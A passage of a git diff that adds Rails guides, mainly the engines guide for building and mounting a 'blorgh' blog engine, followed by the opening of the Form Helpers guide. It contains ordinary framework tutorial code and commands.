+Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
+
+#### `bin` directory
+
+This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+
+```bash
+rails g model
+```
+
+Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+
+#### `test` directory
+
+The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+
+```ruby
+Rails.application.routes.draw do
+ mount Blorgh::Engine => "/blorgh"
+end
+```
+
+This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+
+In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests.
+
+Providing engine functionality
+------------------------------
+
+The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+
+### Generating a post resource
+
+The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+
+```bash
+$ rails generate scaffold post title:string text:text
+```
+
+This command will output this information:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_posts.rb
+create app/models/blorgh/post.rb
+invoke test_unit
+create test/models/blorgh/post_test.rb
+create test/fixtures/blorgh/posts.yml
+ route resources :posts
+invoke scaffold_controller
+create app/controllers/blorgh/posts_controller.rb
+invoke erb
+create app/views/blorgh/posts
+create app/views/blorgh/posts/index.html.erb
+create app/views/blorgh/posts/edit.html.erb
+create app/views/blorgh/posts/show.html.erb
+create app/views/blorgh/posts/new.html.erb
+create app/views/blorgh/posts/_form.html.erb
+invoke test_unit
+create test/controllers/blorgh/posts_controller_test.rb
+invoke helper
+create app/helpers/blorgh/posts_helper.rb
+invoke test_unit
+create test/helpers/blorgh/posts_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/posts.js
+invoke css
+create app/assets/stylesheets/blorgh/posts.css
+invoke css
+create app/assets/stylesheets/scaffold.css
+```
+
+The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namesp [...]
+
+Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+
+After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of
+this guide describes it in details.
+
+Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+
+Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+
+```ruby
+module Blorgh
+ class PostsController < ApplicationController
+ ...
+ end
+end
+```
+
+NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+
+The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+
+```ruby
+module Blorgh
+ class PostsHelper
+ ...
+ end
+end
+```
+
+This helps prevent conflicts with any other engine or application that may have a post resource as well.
+
+Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later.
+
+By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+
+```erb
+<%= stylesheet_link_tag "scaffold" %>
+```
+
+You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+
+If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+
+```ruby
+>> Blorgh::Post.find(1)
+=> #<Blorgh::Post id: 1 ...>
+```
+
+One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+
+```ruby
+root to: "posts#index"
+```
+
+Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+
+### Generating a comments resource
+
+Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+
+Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+
+```bash
+$ rails generate model Comment post_id:integer text:text
+```
+
+This will output the following:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_comments.rb
+create app/models/blorgh/comment.rb
+invoke test_unit
+create test/models/blorgh/comment_test.rb
+create test/fixtures/blorgh/comments.yml
+```
+
+This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+
+```html+erb
+<h3>Comments</h3>
+<%= render @post.comments %>
+```
+
+This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+
+```ruby
+has_many :comments
+```
+
+Turning the model into this:
+
+```ruby
+module Blorgh
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+end
+```
+
+NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+
+Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+
+```erb
+<%= render "blorgh/comments/form" %>
+```
+
+Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+
+```html+erb
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+ <p>
+ <%= f.label :text %><br />
+ <%= f.text_area :text %>
+ </p>
+ <%= f.submit %>
+<% end %>
+```
+
+When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+
+```ruby
+resources :posts do
+ resources :comments
+end
+```
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To create it, run this command:
+
+```bash
+$ rails g controller comments
+```
+
+This will generate the following things:
+
+```
+create app/controllers/blorgh/comments_controller.rb
+invoke erb
+ exist app/views/blorgh/comments
+invoke test_unit
+create test/controllers/blorgh/comments_controller_test.rb
+invoke helper
+create app/helpers/blorgh/comments_helper.rb
+invoke test_unit
+create test/helpers/blorgh/comments_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/comments.js
+invoke css
+create app/assets/stylesheets/blorgh/comments.css
+```
+
+The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+
+```ruby
+def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ flash[:notice] = "Comment has been created!"
+ redirect_to posts_path
+end
+```
+
+This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+
+```
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
+ * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
+ * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+
+The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+
+This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+
+```erb
+<%= comment_counter + 1 %>. <%= comment.text %>
+```
+
+The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use it within an application.
+
+Hooking into an application
+---------------------------
+
+Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+
+### Mounting the engine
+
+First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+
+```bash
+$ rails new unicorn
+```
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+
+```ruby
+gem 'devise'
+```
+
+However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "/path/to/blorgh"
+```
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+
+```ruby
+mount Blorgh::Engine, at: "/blog"
+```
+
+This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+
+### Engine setup
+
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+
+```bash
+$ rake blorgh_engine:install:migrations
+```
+
+If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+
+```bash
+$ rake railties:install:migrations
+```
+
+This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+
+```bash
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+```
+
+The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+
+To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+
+If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+
+```bash
+rake db:migrate SCOPE=blorgh
+```
+
+This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+
+```bash
+rake db:migrate SCOPE=blorgh VERSION=0
+```
+
+### Using a class provided by the application
+
+#### Using a model provided by the application
+
+When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+
+A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+
+To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+
+```bash
+rails g model user name:string
+```
+
+The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+
+Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+
+First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+
+```html+erb
+<div class="field">
+ <%= f.label :author_name %><br />
+ <%= f.text_field :author_name %>
+</div>
+```
+
+The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+
+```ruby
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_save :set_author
+
+private
+ def set_author
+ self.author = User.find_or_create_by(name: author_name)
+ end
+```
+
+By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+
+To generate this new column, run this command within the engine:
+
+```bash
+$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+```
+
+NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+
+This migration will need to be run on the application. To do that, it must first be copied using this command:
+
+```bash
+$ rake blorgh:install:migrations
+```
+
+Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+
+```
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+```
+
+Run this migration using this command:
+
+```bash
+$ rake db:migrate
+```
+
+Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+
+```html+erb
+<p>
+ <b>Author:</b>
+ <%= @post.author %>
+</p>
+```
+
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+
+```
+#<User:0x00000100ccb3b0>
+```
+
+This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+
+```ruby
+def to_s
+ name
+end
+```
+
+Now instead of the ugly Ruby object output the author's name will be displayed.
+
+#### Using a controller provided by the application
+
+Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change [...]
+
+```ruby
+class Blorgh::ApplicationController < ApplicationController
+end
+```
+
+By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+
+This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+
+### Configuring an engine
+
+This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+
+#### Setting configuration settings in the application
+
+The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application.
+
+To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+
+```ruby
+mattr_accessor :author_class
+```
+
+This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.
+
+The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class
+```
+
+The `set_author` method also located in this class should also use this class:
+
+```ruby
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+```
+
+To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+
+```ruby
+def self.author_class
+ @@author_class.constantize
+end
+```
+
+This would then turn the above code for `set_author` into this:
+
+```ruby
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+```
+
+Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.
+
+Since we changed the `author_class` method to no longer return a
+`String` but a `Class` we must also modify our `belongs_to` definition
+in the `Blorgh::Post` model:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class.to_s
+```
+
+To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+
+```ruby
+Blorgh.author_class = "User"
+```
+
+WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+
+#### General engine configuration
+
+Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+
+If you wish to use an initializer — code that should run before the engine is
+loaded — the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the
+[Initializers section](configuring.html#initializers) of the Configuring guide,
+and works precisely the same way as the `config/initializers` directory inside
+an application. Same goes for if you want to use a standard initializer.
+
+For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+
+Testing an engine
+-----------------
+
+When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+
+The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+
+### Functional tests
+
+A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+
+```ruby
+get :index
+```
+
+It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+
+```ruby
+get :index, use_route: :blorgh
+```
+
+This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+
+Improving engine functionality
+------------------------------
+
+This section explains how to add and/or override engine MVC functionality in the main Rails application.
+
+### Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+
+For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+
+#### Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** `Post#time_since_created`,
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def time_since_created
+ Time.current - created_at
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+end
+```
+
+
+**Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ has_many :comments
+ def summary
+ "#{title}"
+ end
+end
+```
+
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.
+
+**Adding** `Post#time_since_created` and **Overriding** `Post#summary`
+
+```ruby
+# MyApp/app/models/blorgh/post.rb
+
+class Blorgh::Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+
+ def time_since_created
+ Time.current - created_at
+ end
+
+ def summary
+ "#{title} - #{truncate(text)}"
+ end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Post
+end
+```
+
+```ruby
+# Blorgh/lib/concerns/models/post
+
+module Blorgh::Concerns::Models::Post
+ extend ActiveSupport::Concern
+
+ # 'included do' causes the included code to be evaluated in the
+ # context where it is included (post.rb), rather than be
+ # executed in the module's context (blorgh/concerns/models/post).
+ included do
+ attr_accessor :author_name
+ belongs_to :author, class_name: "User"
+
+ before_save :set_author
+
+ private
+
+ def set_author
+ self.author = User.find_or_create_by(name: author_name)
+ end
+ end
+
+ def summary
+ "#{title}"
+ end
+
+ module ClassMethods
+ def some_class_method
+ 'some class method string'
+ end
+ end
+end
+```
+
+### Overriding views
+
+When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+
+In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+
+You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+
+```html+erb
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+ <h2><%= post.title %></h2>
+ <small>By <%= post.author %></small>
+ <%= simple_format(post.text) %>
+ <hr>
+<% end %>
+```
+
+### Routes
+
+Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.
+
+Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+
+For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+
+```erb
+<%= link_to "Blog posts", posts_path %>
+```
+
+To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+
+```erb
+<%= link_to "Blog posts", blorgh.posts_path %>
+```
+
+If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+
+```erb
+<%= link_to "Home", main_app.root_path %>
+```
+
+If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+
+If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+
+### Assets
+
+Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+
+Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+
+Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+
+```erb
+<%= stylesheet_link_tag "blorgh/style.css" %>
+```
+
+You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+
+```
+/*
+ *= require blorgh/style
+*/
+```
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+
+### Separate Assets & Precompiling
+
+There are some situations where your engine's assets are not required by the host application. For example, say that you've created
+an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
+or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
+This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+
+You can define assets for precompilation in `engine.rb`
+
+```ruby
+initializer "blorgh.assets.precompile" do |app|
+ app.config.assets.precompile += %w(admin.css admin.js)
+end
+```
+
+For more information, read the [Asset Pipeline guide](asset_pipeline.html)
+
+### Other gem dependencies
+
+Gem dependencies inside an engine should be specified inside the
+`.gemspec` file at the root of the engine. The reason is that the engine may
+be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
+these would not be recognized by a traditional gem install and so they would not
+be installed, causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional `gem install`, specify it inside the `Gem::Specification` block
+inside the `.gemspec` file in the engine:
+
+```ruby
+s.add_dependency "moo"
+```
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+```ruby
+s.add_development_dependency "moo"
+```
+
+Both kinds of dependencies will be installed when `bundle install` is run inside
+the application. The development dependencies for the gem will only be used when
+the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before the engine's initialization. For example:
+
+```ruby
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+ class Engine < ::Rails::Engine
+ end
+end
+```
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
new file mode 100644
index 0000000..a4dab39
--- /dev/null
+++ b/guides/source/form_helpers.md
@@ -0,0 +1,976 @@
+Form Helpers
+============
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+After reading this guide, you will know:
+
+* How to create search forms and similar kind of generic forms not representing any specific model in your application.
+* How to make model-centric forms for creation and editing of specific database records.
+* How to generate select boxes from multiple types of data.
+* The date and time helpers Rails provides.
+* What makes a file upload form different.
+* Some cases of building forms to external resources.
+* How to build complex forms.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
+
+
+Dealing with Basic Forms
+------------------------
+
+The most basic form helper is `form_tag`.
+
+```erb
+<%= form_tag do %>
+ Form contents
+<% end %>
+```
+
+When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+
+```html
+<form accept-charset="UTF-8" action="/home/index" method="post">
+ <div style="margin:0;padding:0">
+ <input name="utf8" type="hidden" value="✓" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ Form contents
+</form>
+```
+
+Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site re [...]
+
+NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
+
+### A Generic Search Form
+
+One of the most basic forms you see on the web is a search form. This form contains:
+
+* a form element with "GET" method,
+* a label for the input,
+* a text input element, and
+* a submit element.
+
+To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+
+```erb
+<%= form_tag("/search", method: "get") do %>
+ <%= label_tag(:q, "Search for:") %>
